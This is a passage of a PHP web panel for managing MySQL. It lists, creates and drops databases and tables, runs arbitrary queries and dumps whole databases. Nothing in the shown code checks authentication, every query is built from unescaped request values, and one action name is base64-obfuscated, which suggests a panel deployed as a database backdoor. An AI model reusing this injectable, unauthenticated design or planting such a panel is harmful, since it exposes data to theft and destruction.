		echo "<td><a href=\'$PHP_SELF?action=dumpDB&dbname=$dbname\' onClick=\"return confirm(\'Dump Database \'$dbname\'?\')\">Dump</a></td>
";
		echo "</tr>
";
	}
	echo "</table>
";
}

function createDatabase() {
	global $mysqlHandle, $dbname, $PHP_SELF;

	mysql_create_db( $dbname, $mysqlHandle );
	listDatabases();
}

function dropDatabase() {
	global $mysqlHandle, $dbname, $PHP_SELF;

	mysql_drop_db( $dbname, $mysqlHandle );
	listDatabases();
}

function listTables() {
	global $mysqlHandle, $dbname, $PHP_SELF;


	echo "<h1>Tables List</h1>
";
	echo "<p class=location>$dbname</p>
";
	echoQueryResult();
	echo "<form action=\'$PHP_SELF\'>
";
	echo "<input type=hidden name=action value=createTable>
";
	echo "<input type=hidden name=dbname value=$dbname>
";
	echo "<input type=text name=tablename>
";
	echo "<input type=submit value=\'Create Table\'>
";
	echo "</form>
";
	echo "<form action=\'$PHP_SELF\'>
";
	echo "<input type=hidden name=action value=query>
";
	echo "<input type=hidden name=dbname value=$dbname>
";
	echo "<input type=text size=120 name=queryStr>
";
	echo "<input type=submit value=\'Query\'>
";
	echo "</form>
";
	echo "<hr>
";

	$pTable = mysql_list_tables( $dbname );

	if( $pTable == 0 ) {
		$msg  = mysql_error();
		echo "<h3>Error : $msg</h3><p>
";
		return;
	}
	$num = mysql_num_rows( $pTable );

	echo "<table cellspacing=1 cellpadding=5>
";

	for( $i = 0; $i < $num; $i++ ) {
		$tablename = mysql_tablename( $pTable, $i );

		echo "<tr>
";
		echo "<td>
";
		echo "$tablename
";
		echo "</td>
";
		echo "<td>
";
		echo "<a href=\'$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename\'>Schema</a>
";
		echo "</td>
";
		echo "<td>
";
		echo "<a href=\'$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename\'>Data</a>
";
		echo "</td>
";
		echo "<td>
";
		echo "<a href=\'$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename\' onClick=\"return confirm(\'Drop Table \'$tablename\'?\')\">Drop</a>
";
		echo "</td>
";
		echo "<td>
";
		echo "<a href=\'$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename\' onClick=\"return confirm(\'Dump Table \'$tablename\'?\')\">Dump</a>
";
		echo "</td>
";
		echo "</tr>
";
	}

	echo "</table>";
}

function createTable() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

	$queryStr = "CREATE TABLE $tablename ( no INT )";
	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	listTables();
}

function dropTable() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

	$queryStr = "DROP TABLE $tablename";
	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	listTables();
}

function viewSchema() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

	echo "<h1>Table Schema</h1>
";
	echo "<p class=location>$dbname &gt; $tablename</p>
";

	echoQueryResult();

	echo "<a href=\'$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename\'>Add Field</a> | 
";
	echo "<a href=\'$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename\'>View Data</a>
";
	echo "<hr>
";

	$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
	$num = mysql_num_rows( $pResult );

	echo "<table cellspacing=1 cellpadding=5>
";
	echo "<tr>
";
	echo "<th>Field</th>
";
	echo "<th>Type</th>
";
	echo "<th>Null</th>
";
	echo "<th>Key</th>
";
	echo "<th>Default</th>
";
	echo "<th>Extra</th>
";
	echo "<th colspan=2>Action</th>
";
	echo "</tr>
";


	for( $i = 0; $i < $num; $i++ ) {
		$field = mysql_fetch_array( $pResult );
		echo "<tr>
";
		echo "<td>".$field["Field"]."</td>
";
		echo "<td>".$field["Type"]."</td>
";
		echo "<td>".$field["Null"]."</td>
";
		echo "<td>".$field["Key"]."</td>
";
		echo "<td>".$field["Default"]."</td>
";
		echo "<td>".$field["Extra"]."</td>
";
		$fieldname = $field["Field"];
		echo "<td><a href=\'$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname\'>Edit</a></td>
";
		echo "<td><a href=\'$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname\' onClick=\"return confirm(\'Drop Field \'$fieldname\'?\')\">Drop</a></td>
";
		echo "</tr>
";
	}
	echo "</table>
";

}

function manageField( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;

	if( $cmd == "add" )
		echo "<h1>Add Field</h1>
";
	else if( $cmd == "edit" ) {
		echo "<h1>Edit Field</h1>
";
		$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
		$num = mysql_num_rows( $pResult );
		for( $i = 0; $i < $num; $i++ ) {
			$field = mysql_fetch_array( $pResult );
			if( $field["Field"] == $fieldname ) {
				$fieldtype = $field["Type"];
				$fieldkey = $field["Key"];
				$fieldextra = $field["Extra"];
				$fieldnull = $field["Null"];
				$fielddefault = $field["Default"];
				break;
			}
		}
		$type = strtok( $fieldtype, " (,)
" );
		if( strpos( $fieldtype, "(" ) ) {
			if( $type == "enum" | $type == "set" ) {
				$valuelist = strtok( " ()
" );
			} else {
				$M = strtok( " (,)
" );
				if( strpos( $fieldtype, "," ) )
					$D = strtok( " (,)
" );
			}
		}
	}

	echo "<p class=location>$dbname &gt; $tablename</p>
";
	echo "<form action=$PHP_SELF>
";

	if( $cmd == "add" )
		echo "<input type=hidden name=action value=addField_submit>
";
	else if( $cmd == "edit" ) {
		echo "<input type=hidden name=action value=editField_submit>
";
		echo "<input type=hidden name=old_name value=$fieldname>
";
	}
	echo "<input type=hidden name=dbname value=$dbname>
";
	echo "<input type=hidden name=tablename value=$tablename>
";

	echo "<h3>Name</h3>
";
	echo "<input type=text name=name value=$fieldname><p>
";
	echo \'

<h3>Type</h3>

<font size=2>
* `M\' indicates the maximum display size.<br>
* `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
</font>

< table class="tabnet">
<tr>
<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
</tr>
<tr>
<td><input type=radio name=type value="TINYINT" \'; if( $type == "tinyint" ) echo "checked";echo \'>TINYINT (-128 ~ 127)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="SMALLINT" \'; if( $type == "smallint" ) echo "checked";echo \'>SMALLINT (-32768 ~ 32767)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMINT" \'; if( $type == "mediumint" ) echo "checked";echo \'>MEDIUMINT (-8388608 ~ 8388607)</td>

<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="INT" \'; if( $type == "int" ) echo "checked";echo \'>INT (-2147483648 ~ 2147483647)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="BIGINT" \'; if( $type == "bigint" ) echo "checked";echo \'>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="FLOAT" \'; if( $type == "float" ) echo "checked";echo \'>FLOAT</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DOUBLE" \'; if( $type == "double" ) echo "checked";echo \'>DOUBLE</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DECIMAL" \'; if( $type == "decimal" ) echo "checked";echo \'>DECIMAL(NUMERIC)</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DATE" \'; if( $type == "date" ) echo "checked";echo \'>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DATETIME" \'; if( $type == "datetime" ) echo "checked";echo \'>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TIMESTAMP" \'; if( $type == "timestamp" ) echo "checked";echo \'>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
<td align=center>O</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TIME" \'; if( $type == "time" ) echo "checked";echo \'>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="YEAR" \'; if( $type == "year" ) echo "checked";echo \'>YEAR (1901 ~ 2155, 0000, YYYY)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="CHAR" \'; if( $type == "char" ) echo "checked";echo \'>CHAR</td>
<td align=center>O</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td align=center>O</td>
</tr>
<tr>
<td><input type=radio name=type value="VARCHAR" \'; if( $type == "varchar" ) echo "checked";echo \'>VARCHAR</td>
<td align=center>O</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td align=center>O</td>
</tr>
<tr>
<td><input type=radio name=type value="TINYTEXT" \'; if( $type == "tinytext" ) echo "checked";echo \'>TINYTEXT (0 ~ 255)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TEXT" \'; if( $type == "text" ) echo "checked";echo \'>TEXT (0 ~ 65535)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMTEXT" \'; if( $type == "mediumtext" ) echo "checked";echo \'>MEDIUMTEXT (0 ~ 16777215)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="LONGTEXT" \'; if( $type == "longtext" ) echo "checked";echo \'>LONGTEXT (0 ~ 4294967295)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TINYBLOB" \'; if( $type == "tinyblob" ) echo "checked";echo \'>TINYBLOB (0 ~ 255)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="BLOB" \'; if( $type == "blob" ) echo "checked";echo \'>BLOB (0 ~ 65535)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMBLOB" \'; if( $type == "mediumblob" ) echo "checked";echo \'>MEDIUMBLOB (0 ~ 16777215)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="LONGBLOB" \'; if( $type == "longblob" ) echo "checked";echo \'>LONGBLOB (0 ~ 4294967295)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="ENUM" \'; if( $type == "enum" ) echo "checked";echo \'>ENUM</td>
<td colspan=5><center>value list</center></td>
</tr>
<tr>
<td><input type=radio name=type value="SET" \'; if( $type == "set" ) echo "checked";echo \'>SET</td>
<td colspan=5><center>value list</center></td>
</tr>

</table>
<table>
<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
<tr>
<td align=center><input type=text size=4 name=M \'; if( $M != "" ) echo "value=$M";echo \'></td>
<td align=center><input type=text size=4 name=D \'; if( $D != "" ) echo "value=$D";echo \'></td>
<td align=center><input type=checkbox name=unsigned value="UNSIGNED" \'; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo \'></td>
<td align=center><input type=checkbox name=zerofill value="ZEROFILL" \'; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo \'></td>
<td align=center><input type=checkbox name=binary value="BINARY" \'; if( strpos( $fieldtype, "binary" )  ) echo "checked";echo \'></td>
<td align=center><input type=text size=60 name=valuelist \'; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo \'></td>
</tr>
</table>


<h3>Flags</h3>
<table>
<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
<tr>
<td align=center><input type=checkbox name=not_null value="NOT NULL" \'; if( $fieldnull != "YES" ) echo "checked";echo \'></td>
<td align=center><input type=text name=default_value \'; if( $fielddefault != "" ) echo "value=$fielddefault";echo \'></td>
<td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" \'; if( $fieldextra == "auto_increment" ) echo "checked";echo \'></td>
<td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" \'; if( $fieldkey == "PRI" ) echo "checked";echo \'></td>
</tr>
</table>

<p>\';

	if( $cmd == "add" )
		echo "<input type=submit value=\'Add Field\'>
";
	else if( $cmd == "edit" )
		echo "<input type=submit value=\'Edit Field\'>
";
	echo "<input type=button value=Cancel onClick=\'history.back()\'>
";
	echo "</form>
";
}

function manageField_submit( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
		$M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;

	if( $cmd == "add" )
		$queryStr = "ALTER TABLE $tablename ADD $name ";
	else if( $cmd == "edit" )
		$queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";

	if( $M != "" )
		if( $D != "" )
			$queryStr .= "$type($M,$D) ";
		else
			$queryStr .= "$type($M) ";
	else if( $valuelist != "" ) {
		$valuelist = stripslashes( $valuelist );
		$queryStr .= "$type($valuelist) ";
	} else
		$queryStr .= "$type ";

	$queryStr .= "$unsigned $zerofill $binary ";

	if( $default_value != "" )
		$queryStr .= "DEFAULT \'$default_value\' ";

	$queryStr .= "$not_null $auto_increment";

	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	// key change
	$keyChange = false;
	$result = mysql_query( "SHOW KEYS FROM $tablename" );
	$primary = "";
	while( $row = mysql_fetch_array($result) )
		if( $row["Key_name"] == "PRIMARY" ) {
			if( $row[Column_name] == $name )
				$keyChange = true;
			else
				$primary .= ", $row[Column_name]";
		}
	if( $primary_key == "PRIMARY KEY" ) {
		$primary .= ", $name";
		$keyChange = !$keyChange;
	}
	$primary = substr( $primary, 2 );
	if( $keyChange == true ) {
		$q = "ALTER TABLE $tablename DROP PRIMARY KEY";
		mysql_query( $q );
		$queryStr .= "<br>
" . $q;
		$errMsg .= "<br>
" . mysql_error();
		$q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
		mysql_query( $q );
		$queryStr .= "<br>
" . $q;
		$errMsg .= "<br>
" . mysql_error();
	}

	viewSchema();
}

function dropField() {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

	$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr , $mysqlHandle );
	$errMsg = mysql_error();

	viewSchema();
}

function viewData( $queryStr ) {
	global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;

	echo "<h1>Data in Table</h1>
";
	if( $tablename != "" )
		echo "<p class=location>$dbname &gt; $tablename</p>
";
	else
		echo "<p class=location>$dbname</p>
";

	$queryStr = stripslashes( $queryStr );
	if( $queryStr == "" ) {
		$queryStr = "SELECT * FROM $tablename";
		if( $orderby != "" )
			$queryStr .= " ORDER BY $orderby";
		echo "<a href=\'$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename\'>Add Data</a> | 
";
		echo "<a href=\'$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename\'>Schema</a>
";
	}

	$pResult = mysql_db_query( $dbname, $queryStr );
	$fieldt = mysql_fetch_field($pResult);
	$tablename = $fieldt->table;
	$errMsg = mysql_error();

	$GLOBALS[queryStr] = $queryStr;

	if( $pResult == false ) {
		echoQueryResult();
		return;
	}
	if( $pResult == 1 ) {
		$errMsg = "Success";
		echoQueryResult();
		return;
	}

	echo "<hr>
";

	$row = mysql_num_rows( $pResult );
	$col = mysql_num_fields( $pResult );

	if( $row == 0 ) {
		echo "No Data Exist!";
		return;
	}

	if( $rowperpage == "" ) $rowperpage = 30;
	if( $page == "" ) $page = 0;
	else $page--;
	mysql_data_seek( $pResult, $page * $rowperpage );

	echo "<table cellspacing=1 cellpadding=2>
";
	echo "<tr>
";
	for( $i = 0; $i < $col; $i++ ) {
		$field = mysql_fetch_field( $pResult, $i );
		echo "<th>";
		if($action == "dmlld0RhdGE=")
			echo "<a href=\'$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&orderby=".$field->name."\'>".$field->name."</a>
";
		else
			echo $field->name."
";
		echo "</th>
";
	}
	echo "<th colspan=2>Action</th>
";
	echo "</tr>
";

	for( $i = 0; $i < $rowperpage; $i++ ) {
		$rowArray = mysql_fetch_row( $pResult );
		if( $rowArray == false ) break;
		echo "<tr>
";
		$key = "";
		for( $j = 0; $j < $col; $j++ ) {
			$data = $rowArray[$j];

			$field = mysql_fetch_field( $pResult, $j );
			if( $field->primary_key == 1 )
				$key .= "&" . $field->name . "=" . $data;

			if( strlen( $data ) > 30 )
				$data = substr( $data, 0, 30 ) . "...";
			$data = htmlspecialchars( $data );
			echo "<td>
";
			echo "$data
";
			echo "</td>
";
		}

		if( $key == "" )
			echo "<td colspan=2>no Key</td>
";
		else {
			echo "<td><a href=\'$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename\'>Edit</a></td>
";
			echo "<td><a href=\'$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename\' onClick=\"return confirm(\'Delete Row?\')\">Delete</a></td>
";
		}
		echo "</tr>
";
	}
	echo "</table>
";

	echo "<font size=2>
";
	if($action == "dmlld0RhdGE=")
		echo "<form action=\'$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename\' method=post>
";
	else
		echo "<form action=\'$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr\' method=post>
";

	echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
	echo "</font>
";
	echo " | ";
	if( $page > 0 ) {
		if($action == "dmlld0RhdGE=")
			echo "<a href=\'$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page);
		else
			echo "<a href=\'$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
		if( $orderby != "" && $action == "dmlld0RhdGE=")
			echo "&orderby=$orderby";
		echo "\'>Prev</a>
";
	} else
		echo "Prev";
	echo " | ";
	if( $page < ($row/$rowperpage)-1 ) {
		if($action == "dmlld0RhdGE=")
			echo "<a href=\'$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page+2);
		else
			echo "<a href=\'$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
		if( $orderby != "" && $action == "dmlld0RhdGE=")
			echo "&orderby=$orderby";
		echo "\'>Next</a>
";
	} else
		echo "Next";
	echo " | ";
	if( $row > $rowperpage ) {
		echo "<input type=text size=4 name=page>
";
		echo "<input type=submit value=\'Go\'>
";
	}
	echo "</form>
";
	echo "</font>
";
}

function manageData( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF;

	if( $cmd == "add" )
		echo "<h1>Add Data</h1>
";
	else if( $cmd == "edit" ) {
		echo "<h1>Edit Data</h1>
";
		$pResult = mysql_list_fields( $dbname, $tablename );
		$num = mysql_num_fields( $pResult );

		$key = "";
		for( $i = 0; $i < $num; $i++ ) {
			$field = mysql_fetch_field( $pResult, $i );
			if( $field->primary_key == 1 )
				if( $field->numeric == 1 )
					$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
				else
					$key .= $field->name . "=\'" . $GLOBALS[$field->name] . "\' AND ";
		}
		$key = substr( $key, 0, strlen($key)-4 );

		mysql_select_db( $dbname, $mysqlHandle );
		$pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
		$data = mysql_fetch_array( $pResult );
	}

	echo "<p class=location>$dbname &gt; $tablename</p>
";

	echo "<form action=\'$PHP_SELF\' method=post>
";
	if( $cmd == "add" )
		echo "<input type=hidden name=action value=addData_submit>
";
	else if( $cmd == "edit" )
		echo "<input type=hidden name=action value=editData_submit>
";
	echo "<input type=hidden name=dbname value=$dbname>
";
	echo "<input type=hidden name=tablename value=$tablename>
";
	echo "<table cellspacing=1 cellpadding=2>
";
	echo "<tr>
";
	echo "<th>Name</th>
";
	echo "<th>Type</th>
";
	echo "<th>Function</th>
";
	echo "<th>Data</th>
";
	echo "</tr>
";

	$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
	$num = mysql_num_rows( $pResult );

	$pResultLen = mysql_list_fields( $dbname, $tablename );

	for( $i = 0; $i < $num; $i++ ) {
		$field = mysql_fetch_array( $pResult );
		$fieldname = $field["Field"];
		$fieldtype = $field["Type"];
		$len = mysql_field_len( $pResultLen, $i );

		echo "<tr>";
		echo "<td>$fieldname</td>";
		echo "<td>".$field["Type"]."</td>";
		echo "<td>
";
		echo "<select name=${fieldname}_function>
";
		echo "<option>
";
		echo "<option>ASCII
";
		echo "<option>CHAR
";
		echo "<option>SOUNDEX
";
		echo "<option>CURDATE
";
		echo "<option>CURTIME
";
		echo "<option>FROM_DAYS
";
		echo "<option>FROM_UNIXTIME
";
		echo "<option>NOW
";
		echo "<option>PASSWORD
";
		echo "<option>PERIOD_ADD
";
		echo "<option>PERIOD_DIFF
";
		echo "<option>TO_DAYS
";
		echo "<option>USER
";
		echo "<option>WEEKDAY
";
		echo "<option>RAND
";
		echo "</select>
";
		echo "</td>
";
		$value = htmlspecialchars($data[$i]);
		if( $cmd == "add" ) {
			$type = strtok( $fieldtype, " (,)
" );
			if( $type == "enum" || $type == "set" ) {
				echo "<td>
";
				if( $type == "enum" )
					echo "<select name=$fieldname>
";
				else if( $type == "set" )
					echo "<select name=$fieldname size=4 multiple>
";
				while( $str = strtok( "\'" ) ) {
					echo "<option>$str
";
					strtok( "\'" );
				}
				echo "</select>
";
				echo "</td>
";
			} else {
				if( $len < 40 )
					echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>
";
				else
					echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>
";
			}
		} else if( $cmd == "edit" ) {
			$type = strtok( $fieldtype, " (,)
" );
			if( $type == "enum" || $type == "set" ) {
				echo "<td>
";
				if( $type == "enum" )
					echo "<select name=$fieldname>
";
				else if( $type == "set" )
					echo "<select name=$fieldname size=4 multiple>
";
				while( $str = strtok( "\'" ) ) {
					if( $value == $str )
						echo "<option selected>$str
";
					else
						echo "<option>$str
";
					strtok( "\'" );
				}
				echo "</select>
";
				echo "</td>
";
			} else {
				if( $len < 40 )
					echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>
";
				else
					echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>
";
			}
		}
		echo "</tr>";
	}
	echo "</table><p>
";
	if( $cmd == "add" )
		echo "<input type=submit value=\'Add Data\'>
";
	else if( $cmd == "edit" )
		echo "<input type=submit value=\'Edit Data\'>
";
	echo "<input type=button value=\'Cancel\' onClick=\'history.back()\'>
";
	echo "</form>
";
}

function manageData_submit( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

	$pResult = mysql_list_fields( $dbname, $tablename );
	$num = mysql_num_fields( $pResult );

	mysql_select_db( $dbname, $mysqlHandle );
	if( $cmd == "add" )
		$queryStr = "INSERT INTO $tablename VALUES (";
	else if( $cmd == "edit" )
		$queryStr = "REPLACE INTO $tablename VALUES (";
	for( $i = 0; $i < $num-1; $i++ ) {
		$field = mysql_fetch_field( $pResult );
		$func = $GLOBALS[$field->name."_function"];
		if( $func != "" )
			$queryStr .= " $func(";
		if( $field->numeric == 1 ) {
			$queryStr .= $GLOBALS[$field->name];
			if( $func != "" )
				$queryStr .= "),";
			else
				$queryStr .= ",";
		} else {
			$queryStr .= "\'" . $GLOBALS[$field->name];
			if( $func != "" )
				$queryStr .= "\'),";
			else
				$queryStr .= "\',";
		}
	}
	$field = mysql_fetch_field( $pResult );
	if( $field->numeric == 1 )
		$queryStr .= $GLOBALS[$field->name] . ")";
	else
		$queryStr .= "\'" . $GLOBALS[$field->name] . "\')";

	mysql_query( $queryStr , $mysqlHandle );
	$errMsg = mysql_error();

	viewData( "" );
}

function deleteData() {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

	$pResult = mysql_list_fields( $dbname, $tablename );
	$num = mysql_num_fields( $pResult );

	$key = "";
	for( $i = 0; $i < $num; $i++ ) {
		$field = mysql_fetch_field( $pResult, $i );
		if( $field->primary_key == 1 )
			if( $field->numeric == 1 )
				$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
			else
				$key .= $field->name . "=\'" . $GLOBALS[$field->name] . "\' AND ";
	}
	$key = substr( $key, 0, strlen($key)-4 );

	mysql_select_db( $dbname, $mysqlHandle );
	$queryStr =  "DELETE FROM $tablename WHERE $key";
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	viewData( "" );
}

function fetch_table_dump_sql($table)
{
	global $mysqlHandle,$dbname;

	mysql_select_db( $dbname, $mysqlHandle );
	$query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
	$tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
	$tabledump = "DROP TABLE IF EXISTS $table;
" . $tabledump[\'Create Table\'] . ";

";

	echo $tabledump;

	// get data
	$rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
	$numfields=mysql_num_fields($rows);
	while ($row = mysql_fetch_array($rows, MYSQL_NUM))
	{
		$tabledump = "INSERT INTO $table VALUES(";

		$fieldcounter = -1;
		$firstfield = 1;
		// get each field\'s data
		while (++$fieldcounter < $numfields)
		{
			if (!$firstfield)
			{
				$tabledump .= \', \';
			}
			else
			{
				$firstfield = 0;
			}

			if (!isset($row["$fieldcounter"]))
			{
				$tabledump .= \'NULL\';
			}
			else
			{
				$tabledump .= "\'" . mysql_escape_string($row["$fieldcounter"]) . "\'";
			}
		}

		$tabledump .= ");
";

		echo $tabledump;

	}
	@mysql_free_result($rows);
}

function dump() {
	global $mysqlHandle, $action, $dbname, $tablename;

	if( $action == "dumpTable" ){

		header("Content-disposition: filename=$tablename.sql");
		header(\'Content-type: unknown/unknown\');
		fetch_table_dump_sql($tablename);
		echo "


";
		echo "


### $tablename TABLE DUMP COMPLETED ###";
		exit;

	}else{
		header("Content-disposition: filename=$dbname.sql");
		header(\'Content-type: unknown/unknown\');

		mysql_select_db( $dbname, $mysqlHandle );
		$query_id = mysql_query("SHOW tables",$mysqlHandle);
		while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
		{
				fetch_table_dump_sql($row[0]);
				echo "


";
				echo "


### $row[0] TABLE DUMP COMPLETED ###";
				echo "


";
		}
		echo "


### $dbname DATABASE DUMP COMPLETED ###";
		exit;

	}

}

function utils() {
	global $PHP_SELF, $command;
	echo "<h1>Utilities</h1>
";
	if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
		echo "<hr>
";
		echo "Show
";
		echo "<ul>
";
		echo "<li><a href=\'$PHP_SELF?action=utils&command=show_status\'>Status</a>
";
		echo "<li><a href=\'$PHP_SELF?action=utils&command=show_variables\'>Variables</a>
";
		echo "<li><a href=\'$PHP_SELF?action=utils&command=show_processlist\'>Processlist</a>
";
		echo "</ul>
";
		echo "Flush
";
		echo "<ul>
";
		echo "<li><a href=\'$PHP_SELF?action=utils&command=flush_hosts\'>Hosts</a>
";
